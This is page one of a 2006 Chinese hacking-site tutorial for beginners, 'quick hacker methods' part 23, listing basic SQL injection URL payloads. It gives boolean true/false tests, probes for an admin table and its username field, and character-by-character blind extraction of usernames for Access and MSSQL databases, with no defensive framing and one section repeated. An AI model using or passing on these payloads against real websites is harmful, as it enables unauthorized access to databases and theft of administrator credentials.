黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图
您现在的位置: 黑客风云 >> 黑客文章 >> 黑客入门 >> 电脑新手 >> 文章正文
[推荐]菜鸟级黑客速成办法(二十三)
      ★★★★★
菜鸟级黑客速成办法(二十三)
文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2006-11-27

SQL注射基础命令

==================================================
□ 检测可否注入
==================================================
http://url/xx?id=1111 and 1=1 (正常页面)
http://url/xx?id=1111 and 1=2 (出错页面)

==================================================
□ 检测表段的
==================================================
http://url/xx?id=1111 and exists (select * from admin)

==================================================
□ 检测字段的
==================================================
http://url/xx?id=1111 and exists (select username from admin)

==================================================
□ 检测ID
==================================================
http://url/xx?id=1111 and exists (select id from admin where ID=1)

==================================================
□ 检测长度的
==================================================
http://url/xx?id=1111 and exists (select id from admin where len(username)=5 and ID=1)

==================================================
□ 检测长度的
==================================================
http://url/xx?id=1111 and exists (select id from admin where len(username)=5 and ID=1)

==================================================
□ 检测是否为MSSQL数据库
==================================================
http://url/xx?id=1111 and exists (select * from sysobjects)

==================================================
□ 检测是否为英文
==================================================
(ACCESS数据库)
http://url/xx?id=1111 and exists (select id from admin where asc(mid(username,1,1)) between 30 and 130 and ID=1)

(MSSQL数据库)
http://url/xx?id=1111 and exists (select id from admin where unicode(substring(username,1,1)) between 30 and 130 and
ID=1)

==================================================
□ 检测英文的范围
==================================================
(ACCESS数据库)
http://url/xx?id=1111 and exists (select id from admin where asc(mid(username,1,1)) between 90 and 100 and ID=1)

(MSSQL数据库)
http://url/xx?id=1111 and exists (select id from admin where unicode(substring(username,1,1)) between 90 and 100 and ID=1)

==================================================
□ 检测那个字符
==================================================
(ACCESS数据库)
http://url/xx?id=1111 and exists (select id from admin where asc(mid(username,1,1))=97 and ID=1)

(MSSQL数据库)
http://url/xx?id=1111 and exists (select id from admin where unicode(substring(username,1,1))=97 and ID=1)

[1] [2] 下一页  

文章录入:cainiaowang    责任编辑:cainiaowang 
【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
VIP 专 区
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886